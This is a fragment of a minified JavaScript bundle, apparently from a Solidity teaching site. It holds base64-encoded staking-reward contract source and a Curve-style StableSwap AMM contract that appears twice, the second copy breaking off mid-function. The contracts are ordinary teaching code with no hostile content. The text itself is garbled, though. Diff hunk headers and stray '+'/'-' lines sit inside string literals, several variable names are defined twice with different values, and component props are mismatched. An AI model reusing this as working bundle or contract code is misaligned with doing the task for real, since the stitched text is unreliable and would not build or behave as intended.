uLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuc3Rha2UodWludDI1NiBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBfdXBkYXRlUmV3YXJkcyhtc2cuc2VuZGVyKTsKCiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICB0b3RhbFN1cHBseSAtPSBhbW91bnQ7CgogICAgICAgIHN0YWtpbmdUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIF91cGRhdGVSZXdhcmRzKG1zZy5zZW5kZXIpOwoKICAgICAgICB1aW50MjU2IHJld2FyZCA9IGVhcm5lZFttc2cuc2VuZGVyXTsKICAgICAgICBpZiAocmV3YXJkID4gMCkgewogICAgICAgICAgICBlYXJuZWRbbXNnLnNlbmRlcl0gPSAwOwogICAgICAgICAgICByZXdhcmRUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZDsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],Zm=`

                    Similar to staking rewards contract. Difference is that reward amount may vary at each second.

                    +`,um=({prev:s,next:a})=>r.jsx(A,{version:Im,title:dm,description:Cm,html:Am,prev:s,next:a,codes:jm}),ym="0.8.24",mm="Discrete Staking Rewards",bm="Discrete staking rewards",wm=[{fileName:"DiscreteStakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IERpc2NyZXRlU3Rha2luZ1Jld2FyZHMgewogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgc3Rha2luZ1Rva2VuOwogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgcmV3YXJkVG9rZW47CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgTVVMVElQTElFUiA9IDFlMTg7CiAgICB1aW50MjU2IHByaXZhdGUgcmV3YXJkSW5kZXg7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHJpdmF0ZSByZXdhcmRJbmRleE9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHByaXZhdGUgZWFybmVkOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3N0YWtpbmdUb2tlbiwgYWRkcmVzcyBfcmV3YXJkVG9rZW4pIHsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkVG9rZW4gPSBJRVJDMjAoX3Jld2FyZFRva2VuKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1cGRhdGVSZXdhcmRJbmRleCh1aW50MjU2IHJld2FyZCkgZXh0ZXJuYWwgewogICAgICAgIHJld2FyZFRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCByZXdhcmQpOwogICAgICAgIHJld2FyZEluZGV4ICs9IChyZXdhcmQgKiBNVUxUSVBMSUVSKSAvIHRvdGFsU3VwcGx5OwogICAgfQoKICAgIGZ1bmN0aW9uIF9jYWxjdWxhdGVSZXdhcmRzKGFkZHJlc3MgYWNjb3VudCkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgdWludDI1NiBzaGFyZXMgPSBiYWxhbmNlT2ZbYWNjb3VudF07CiAgICAgICAgcmV0dXJuIChzaGFyZXMgKiAocmV3YXJkSW5kZXggLSByZXdhcmRJbmRleE9mW2FjY291bnRdKSkgLyBNVUxUSVBMSUVSOwogICAgfQoKICAgIGZ1bmN0aW9uIGNhbGN1bGF0ZVJld2FyZHNFYXJuZWQoYWRkcmVzcyBhY2NvdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIGVhcm5lZFthY2NvdW50XSArIF9jYWxjdWxhdGVSZXdhcmRzKGFjY291bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF91cGRhdGVSZXdhcmRzKGFkZHJlc3MgYWNjb3VudCkgcHJpdmF0ZSB7CiAgICAgICAgZWFybmVkW2FjY291bnRdICs9IF9jYWxjdWxhdGVSZXdhcmRzKGFjY291bnQpOwogICAgICAgIHJld2FyZEluZGV4T2ZbYWNjb3VudF0gPSByZXdhcmRJbmRleDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFrZSh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF91cGRhdGVSZXdhcmRzKG1zZy5zZW5kZXIpOwoKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKCiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuc3Rha2UodWludDI1NiBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBfdXBkYXRlUmV3YXJkcyhtc2cuc2VuZGVyKTsKCiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICB0b3RhbFN1cHBseSAtPSBhbW91bnQ7CgogICAgICAgIHN0YWtpbmdUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIF91cGRhdGVSZXdhcmRzKG1zZy5zZW5kZXIpOwoKICAgICAgICB1aW50MjU2IHJld2FyZCA9IGVhcm5lZFttc2cuc2VuZGVyXTsKICAgICAgICBpZiAocmV3YXJkID4gMCkgewogICAgICAgICAgICBlYXJuZWRbbXNnLnNlbmRlcl0gPSAwOwogICAgICAgICAgICByZXdhcmRUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZDsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],km=`

                    Similar to staking rewards contract. Difference is that reward amount may vary at each second.

                    Discrete Staking Rewards

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -4948,7 +4948,7 @@ specify the location of the data.
                    
         external
         returns (bool);
 }
-
                    `,Wm=({prev:s,next:a})=>r.jsx(A,{version:mm,title:bm,description:wm,html:Zm,prev:s,next:a,codes:km}),Bm="0.8.24",Gm="Stable Swap AMM",Vm="Curve's stable swap AMM",fm=[{fileName:"StableSwap.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
Invariant - price of trade and amount of liquidity are determined by this equation

An^n sum(x_i) + D = ADn^n + D^(n + 1) / (n^n prod(x_i))

Topics
0. Newton's method x_(n + 1) = x_n - f(x_n) / f'(x_n)
1. Invariant
2. Swap
   - Calculate Y
   - Calculate D
3. Get virtual price
4. Add liquidity
   - Imbalance fee
5. Remove liquidity
6. Remove liquidity one token
   - Calculate withdraw one token
   - getYD
TODO: test?
*/

library Math {
    function abs(uint256 x, uint256 y) internal pure returns (uint256) {
        return x >= y ? x - y : y - x;
    }
}

contract StableSwap {
    // Number of tokens
    uint256 private constant N = 3;
    // Amplification coefficient multiplied by N^(N - 1)
    // Higher value makes the curve more flat
    // Lower value makes the curve more like constant product AMM
    uint256 private constant A = 1000 * (N ** (N - 1));
    // 0.03%
    uint256 private constant SWAP_FEE = 300;
    // Liquidity fee is derived from 2 constraints
    // 1. Fee is 0 for adding / removing liquidity that results in a balanced pool
    // 2. Swapping in a balanced pool is like adding and then removing liquidity
    //    from a balanced pool
    // swap fee = add liquidity fee + remove liquidity fee
    uint256 private constant LIQUIDITY_FEE = (SWAP_FEE * N) / (4 * (N - 1));
    uint256 private constant FEE_DENOMINATOR = 1e6;

    address[N] public tokens;
    // Normalize each token to 18 decimals
    // Example - DAI (18 decimals), USDC (6 decimals), USDT (6 decimals)
    uint256[N] private multipliers = [1, 1e12, 1e12];
    uint256[N] public balances;

    // 1 share = 1e18, 18 decimals
    uint256 private constant DECIMALS = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address[N] memory _tokens) {
        tokens = _tokens;
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    // Return precision-adjusted balances, adjusted to 18 decimals
    function _xp() private view returns (uint256[N] memory xp) {
        for (uint256 i; i < N; ++i) {
            xp[i] = balances[i] * multipliers[i];
        }
    }

    /**
     * @notice Calculate D, sum of balances in a perfectly balanced pool
     * If balances of x_0, x_1, ... x_(n-1) then sum(x_i) = D
     * @param xp Precision-adjusted balances
     * @return D
     */
    function _getD(uint256[N] memory xp) private pure returns (uint256) {
        /*
        Newton's method to compute D
        -----------------------------
        f(D) = ADn^n + D^(n + 1) / (n^n prod(x_i)) - An^n sum(x_i) - D 
        f'(D) = An^n + (n + 1) D^n / (n^n prod(x_i)) - 1

                     (as + np)D_n
        D_(n+1) = -----------------------
                  (a - 1)D_n + (n + 1)p

        a = An^n
        s = sum(x_i)
        p = (D_n)^(n + 1) / (n^n prod(x_i))
        */
        uint256 a = A * N; // An^n

        uint256 s; // x_0 + x_1 + ... + x_(n-1)
        for (uint256 i; i < N; ++i) {
            s += xp[i];
        }

        // Newton's method
        // Initial guess, d <= s
        uint256 d = s;
        uint256 d_prev;
        for (uint256 i; i < 255; ++i) {
            // p = D^(n + 1) / (n^n * x_0 * ... * x_(n-1))
            uint256 p = d;
            for (uint256 j; j < N; ++j) {
                p = (p * d) / (N * xp[j]);
            }
            d_prev = d;
            d = ((a * s + N * p) * d) / ((a - 1) * d + (N + 1) * p);

            if (Math.abs(d, d_prev) <= 1) {
                return d;
            }
        }
        revert("D didn't converge");
    }

    /**
     * @notice Calculate the new balance of token j given the new balance of token i
     * @param i Index of token in
     * @param j Index of token out
     * @param x New balance of token i
     * @param xp Current precision-adjusted balances
     */
    function _getY(uint256 i, uint256 j, uint256 x, uint256[N] memory xp)
        private
        pure
        returns (uint256)
    {
        /*
        Newton's method to compute y
        -----------------------------
        y = x_j

        f(y) = y^2 + y(b - D) - c

                    y_n^2 + c
        y_(n+1) = --------------
                   2y_n + b - D

        where
        s = sum(x_k), k != j
        p = prod(x_k), k != j
        b = s + D / (An^n)
        c = D^(n + 1) / (n^n * p * An^n)
        */
        uint256 a = A * N;
        uint256 d = _getD(xp);
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k == i) {
                _x = x;
            } else if (k == j) {
                continue;
            } else {
                _x = xp[k];
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    /**
     * @notice Calculate the new balance of token i given precision-adjusted
     * balances xp and liquidity d
     * @dev Equation is calculate y is same as _getY
     * @param i Index of token to calculate the new balance
     * @param xp Precision-adjusted balances
     * @param d Liquidity d
     * @return New balance of token i
     */
    function _getYD(uint256 i, uint256[N] memory xp, uint256 d)
        private
        pure
        returns (uint256)
    {
        uint256 a = A * N;
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k != i) {
                _x = xp[k];
            } else {
                continue;
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    // Estimate value of 1 share
    // How many tokens is one share worth?
    function getVirtualPrice() external view returns (uint256) {
        uint256 d = _getD(_xp());
        uint256 _totalSupply = totalSupply;
        if (_totalSupply > 0) {
            return (d * 10 ** DECIMALS) / _totalSupply;
        }
        return 0;
    }

    /**
     * @notice Swap dx amount of token i for token j
     * @param i Index of token in
     * @param j Index of token out
     * @param dx Token in amount
     * @param minDy Minimum token out
     */
    function swap(uint256 i, uint256 j, uint256 dx, uint256 minDy)
        external
        returns (uint256 dy)
    {
        require(i != j, "i = j");

        IERC20(tokens[i]).transferFrom(msg.sender, address(this), dx);

        // Calculate dy
        uint256[N] memory xp = _xp();
        uint256 x = xp[i] + dx * multipliers[i];

        uint256 y0 = xp[j];
        uint256 y1 = _getY(i, j, x, xp);
        // y0 must be >= y1, since x has increased
        // -1 to round down
        dy = (y0 - y1 - 1) / multipliers[j];

        // Subtract fee from dy
        uint256 fee = (dy * SWAP_FEE) / FEE_DENOMINATOR;
        dy -= fee;
        require(dy >= minDy, "dy < min");

        balances[i] += dx;
        balances[j] -= dy;

        IERC20(tokens[j]).transfer(msg.sender, dy);
    }

    function addLiquidity(uint256[N] calldata amounts, uint256 minShares)
        external
        returns (uint256 shares)
    {
        // calculate current liquidity d0
        uint256 _totalSupply = totalSupply;
        uint256 d0;
        uint256[N] memory old_xs = _xp();
        if (_totalSupply > 0) {
            d0 = _getD(old_xs);
        }

        // Transfer tokens in
        uint256[N] memory new_xs;
        for (uint256 i; i < N; ++i) {
            uint256 amount = amounts[i];
            if (amount > 0) {
                IERC20(tokens[i]).transferFrom(
                    msg.sender, address(this), amount
                );
                new_xs[i] = old_xs[i] + amount * multipliers[i];
            } else {
                new_xs[i] = old_xs[i];
            }
        }

        // Calculate new liquidity d1
        uint256 d1 = _getD(new_xs);
        require(d1 > d0, "liquidity didn't increase");

        // Reccalcuate D accounting for fee on imbalance
        uint256 d2;
        if (_totalSupply > 0) {
            for (uint256 i; i < N; ++i) {
                // TODO: why old_xs[i] * d1 / d0? why not d1 / N?
                uint256 idealBalance = (old_xs[i] * d1) / d0;
                uint256 diff = Math.abs(new_xs[i], idealBalance);
                new_xs[i] -= (LIQUIDITY_FEE * diff) / FEE_DENOMINATOR;
            }

            d2 = _getD(new_xs);
        } else {
            d2 = d1;
        }

        // Update balances
        for (uint256 i; i < N; ++i) {
            balances[i] += amounts[i];
        }

        // Shares to mint = (d2 - d0) / d0 * total supply
        // d1 >= d2 >= d0
        if (_totalSupply > 0) {
            shares = ((d2 - d0) * _totalSupply) / d0;
        } else {
            shares = d2;
        }
        require(shares >= minShares, "shares < min");
        _mint(msg.sender, shares);
    }

    function removeLiquidity(uint256 shares, uint256[N] calldata minAmountsOut)
        external
        returns (uint256[N] memory amountsOut)
    {
        uint256 _totalSupply = totalSupply;

        for (uint256 i; i < N; ++i) {
            uint256 amountOut = (balances[i] * shares) / _totalSupply;
            require(amountOut >= minAmountsOut[i], "out < min");

            balances[i] -= amountOut;
            amountsOut[i] = amountOut;

            IERC20(tokens[i]).transfer(msg.sender, amountOut);
        }

        _burn(msg.sender, shares);
    }

    /**
     * @notice Calculate amount of token i to receive for shares
     * @param shares Shares to burn
     * @param i Index of token to withdraw
     * @return dy Amount of token i to receive
     *         fee Fee for withdraw. Fee already included in dy
     */
    function _calcWithdrawOneToken(uint256 shares, uint256 i)
        private
        view
        returns (uint256 dy, uint256 fee)
    {
        uint256 _totalSupply = totalSupply;
        uint256[N] memory xp = _xp();

        // Calculate d0 and d1
        uint256 d0 = _getD(xp);
        uint256 d1 = d0 - (d0 * shares) / _totalSupply;

        // Calculate reduction in y if D = d1
        uint256 y0 = _getYD(i, xp, d1);
        // d1 <= d0 so y must be <= xp[i]
        uint256 dy0 = (xp[i] - y0) / multipliers[i];

        // Calculate imbalance fee, update xp with fees
        uint256 dx;
        for (uint256 j; j < N; ++j) {
            if (j == i) {
                dx = (xp[j] * d1) / d0 - y0;
            } else {
                // d1 / d0 <= 1
                dx = xp[j] - (xp[j] * d1) / d0;
            }
            xp[j] -= (LIQUIDITY_FEE * dx) / FEE_DENOMINATOR;
        }

        // Recalculate y with xp including imbalance fees
        uint256 y1 = _getYD(i, xp, d1);
        // - 1 to round down
        dy = (xp[i] - y1 - 1) / multipliers[i];
        fee = dy0 - dy;
    }

    function calcWithdrawOneToken(uint256 shares, uint256 i)
        external
        view
        returns (uint256 dy, uint256 fee)
    {
        return _calcWithdrawOneToken(shares, i);
    }

    /**
     * @notice Withdraw liquidity in token i
     * @param shares Shares to burn
     * @param i Token to withdraw
     * @param minAmountOut Minimum amount of token i that must be withdrawn
     */
    function removeLiquidityOneToken(
        uint256 shares,
        uint256 i,
        uint256 minAmountOut
    ) external returns (uint256 amountOut) {
        (amountOut,) = _calcWithdrawOneToken(shares, i);
        require(amountOut >= minAmountOut, "out < min");

        balances[i] -= amountOut;
        _burn(msg.sender, shares);

        IERC20(tokens[i]).transfer(msg.sender, amountOut);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
"}],Ym=`

                    Simplified version of Curve's stable swap AMM

                    +`,Zm=({prev:s,next:a})=>r.jsx(A,{version:ym,title:mm,description:bm,html:km,prev:s,next:a,codes:wm}),Wm="0.8.24",Bm="Stable Swap AMM",Gm="Curve's stable swap AMM",Vm=[{fileName:"StableSwap.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
Invariant - price of trade and amount of liquidity are determined by this equation

An^n sum(x_i) + D = ADn^n + D^(n + 1) / (n^n prod(x_i))

Topics
0. Newton's method x_(n + 1) = x_n - f(x_n) / f'(x_n)
1. Invariant
2. Swap
   - Calculate Y
   - Calculate D
3. Get virtual price
4. Add liquidity
   - Imbalance fee
5. Remove liquidity
6. Remove liquidity one token
   - Calculate withdraw one token
   - getYD
TODO: test?
*/

library Math {
    function abs(uint256 x, uint256 y) internal pure returns (uint256) {
        return x >= y ? x - y : y - x;
    }
}

contract StableSwap {
    // Number of tokens
    uint256 private constant N = 3;
    // Amplification coefficient multiplied by N^(N - 1)
    // Higher value makes the curve more flat
    // Lower value makes the curve more like constant product AMM
    uint256 private constant A = 1000 * (N ** (N - 1));
    // 0.03%
    uint256 private constant SWAP_FEE = 300;
    // Liquidity fee is derived from 2 constraints
    // 1. Fee is 0 for adding / removing liquidity that results in a balanced pool
    // 2. Swapping in a balanced pool is like adding and then removing liquidity
    //    from a balanced pool
    // swap fee = add liquidity fee + remove liquidity fee
    uint256 private constant LIQUIDITY_FEE = (SWAP_FEE * N) / (4 * (N - 1));
    uint256 private constant FEE_DENOMINATOR = 1e6;

    address[N] public tokens;
    // Normalize each token to 18 decimals
    // Example - DAI (18 decimals), USDC (6 decimals), USDT (6 decimals)
    uint256[N] private multipliers = [1, 1e12, 1e12];
    uint256[N] public balances;

    // 1 share = 1e18, 18 decimals
    uint256 private constant DECIMALS = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address[N] memory _tokens) {
        tokens = _tokens;
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    // Return precision-adjusted balances, adjusted to 18 decimals
    function _xp() private view returns (uint256[N] memory xp) {
        for (uint256 i; i < N; ++i) {
            xp[i] = balances[i] * multipliers[i];
        }
    }

    /**
     * @notice Calculate D, sum of balances in a perfectly balanced pool
     * If balances of x_0, x_1, ... x_(n-1) then sum(x_i) = D
     * @param xp Precision-adjusted balances
     * @return D
     */
    function _getD(uint256[N] memory xp) private pure returns (uint256) {
        /*
        Newton's method to compute D
        -----------------------------
        f(D) = ADn^n + D^(n + 1) / (n^n prod(x_i)) - An^n sum(x_i) - D 
        f'(D) = An^n + (n + 1) D^n / (n^n prod(x_i)) - 1

                     (as + np)D_n
        D_(n+1) = -----------------------
                  (a - 1)D_n + (n + 1)p

        a = An^n
        s = sum(x_i)
        p = (D_n)^(n + 1) / (n^n prod(x_i))
        */
        uint256 a = A * N; // An^n

        uint256 s; // x_0 + x_1 + ... + x_(n-1)
        for (uint256 i; i < N; ++i) {
            s += xp[i];
        }

        // Newton's method
        // Initial guess, d <= s
        uint256 d = s;
        uint256 d_prev;
        for (uint256 i; i < 255; ++i) {
            // p = D^(n + 1) / (n^n * x_0 * ... * x_(n-1))
            uint256 p = d;
            for (uint256 j; j < N; ++j) {
                p = (p * d) / (N * xp[j]);
            }
            d_prev = d;
            d = ((a * s + N * p) * d) / ((a - 1) * d + (N + 1) * p);

            if (Math.abs(d, d_prev) <= 1) {
                return d;
            }
        }
        revert("D didn't converge");
    }

    /**
     * @notice Calculate the new balance of token j given the new balance of token i
     * @param i Index of token in
     * @param j Index of token out
     * @param x New balance of token i
     * @param xp Current precision-adjusted balances
     */
    function _getY(uint256 i, uint256 j, uint256 x, uint256[N] memory xp)
        private
        pure
        returns (uint256)
    {
        /*
        Newton's method to compute y
        -----------------------------
        y = x_j

        f(y) = y^2 + y(b - D) - c

                    y_n^2 + c
        y_(n+1) = --------------
                   2y_n + b - D

        where
        s = sum(x_k), k != j
        p = prod(x_k), k != j
        b = s + D / (An^n)
        c = D^(n + 1) / (n^n * p * An^n)
        */
        uint256 a = A * N;
        uint256 d = _getD(xp);
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k == i) {
                _x = x;
            } else if (k == j) {
                continue;
            } else {
                _x = xp[k];
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    /**
     * @notice Calculate the new balance of token i given precision-adjusted
     * balances xp and liquidity d
     * @dev Equation is calculate y is same as _getY
     * @param i Index of token to calculate the new balance
     * @param xp Precision-adjusted balances
     * @param d Liquidity d
     * @return New balance of token i
     */
    function _getYD(uint256 i, uint256[N] memory xp, uint256 d)
        private
        pure
        returns (uint256)
    {
        uint256 a = A * N;
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k != i) {
                _x = xp[k];
            } else {
                continue;
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    // Estimate value of 1 share
    // How many tokens is one share worth?
    function getVirtualPrice() external view returns (uint256) {
        uint256 d = _getD(_xp());
        uint256 _totalSupply = totalSupply;
        if (_totalSupply > 0) {
            return (d * 10 ** DECIMALS) / _totalSupply;
        }
        return 0;
    }

    /**
     * @notice Swap dx amount of token i for token j
     * @param i Index of token in
     * @param j Index of token out
     * @param dx Token in amount
     * @param minDy Minimum token out
     */
    function swap(uint256 i, uint256 j, uint256 dx, uint256 minDy)
        external
        returns (uint256 dy)
    {
        require(i != j, "i = j");

        IERC20(tokens[i]).transferFrom(msg.sender, address(this), dx);

        // Calculate dy
        uint256[N] memory xp = _xp();
        uint256 x = xp[i] + dx * multipliers[i];

        uint256 y0 = xp[j];
        uint256 y1 = _getY(i, j, x, xp);
        // y0 must be >= y1, since x has increased
        // -1 to round down
        dy = (y0 - y1 - 1) / multipliers[j];

        // Subtract fee from dy
        uint256 fee = (dy * SWAP_FEE) / FEE_DENOMINATOR;
        dy -= fee;
        require(dy >= minDy, "dy < min");

        balances[i] += dx;
        balances[j] -= dy;

        IERC20(tokens[j]).transfer(msg.sender, dy);
    }

    function addLiquidity(uint256[N] calldata amounts, uint256 minShares)
        external
        returns (uint256 shares)
    {
        // calculate current liquidity d0
        uint256 _totalSupply = totalSupply;
        uint256 d0;
        uint256[N] memory old_xs = _xp();
        if (_totalSupply > 0) {
            d0 = _getD(old_xs);
        }

        // Transfer tokens in
        uint256[N] memory new_xs;
        for (uint256 i; i < N; ++i) {
            uint256 amount = amounts[i];
            if (amount > 0) {
                IERC20(tokens[i]).transferFrom(
                    msg.sender, address(this), amount
                );
                new_xs[i] = old_xs[i] + amount * multipliers[i];
            } else {
                new_xs[i] = old_xs[i];
            }
        }

        // Calculate new liquidity d1
        uint256 d1 = _getD(new_xs);
        require(d1 > d0, "liquidity didn't increase");

        // Reccalcuate D accounting for fee on imbalance
        uint256 d2;
        if (_totalSupply > 0) {
            for (uint256 i; i < N; ++i) {
                // TODO: why old_xs[i] * d1 / d0? why not d1 / N?
                uint256 idealBalance = (old_xs[i] * d1) / d0;
                uint256 diff = Math.abs(new_xs[i], idealBalance);
                new_xs[i] -= (LIQUIDITY_FEE * diff) / FEE_DENOMINATOR;
            }

            d2 = _getD(new_xs);
        } else {
            d2 = d1;
        }

        // Update balances
        for (uint256 i; i < N; ++i) {
            balances[i] += amounts[i];
        }

        // Shares to mint = (d2 - d0) / d0 * total supply
        // d1 >= d2 >= d0
        if (_totalSupply > 0) {
            shares = ((d2 - d0) * _totalSupply) / d0;
        } else {
            shares = d2;
        }
        require(shares >= minShares, "shares < min");
        _mint(msg.sender, shares);
    }

    function removeLiquidity(uint256 shares, uint256[N] calldata minAmountsOut)
        external
        returns (uint256[N] memory amountsOut)
    {
        uint256 _totalSupply = totalSupply;

        for (uint256 i; i < N; ++i) {
            uint256 amountOut = (balances[i] * shares) / _totalSupply;
            require(amountOut >= minAmountsOut[i], "out < min");

            balances[i] -= amountOut;
            amountsOut[i] = amountOut;

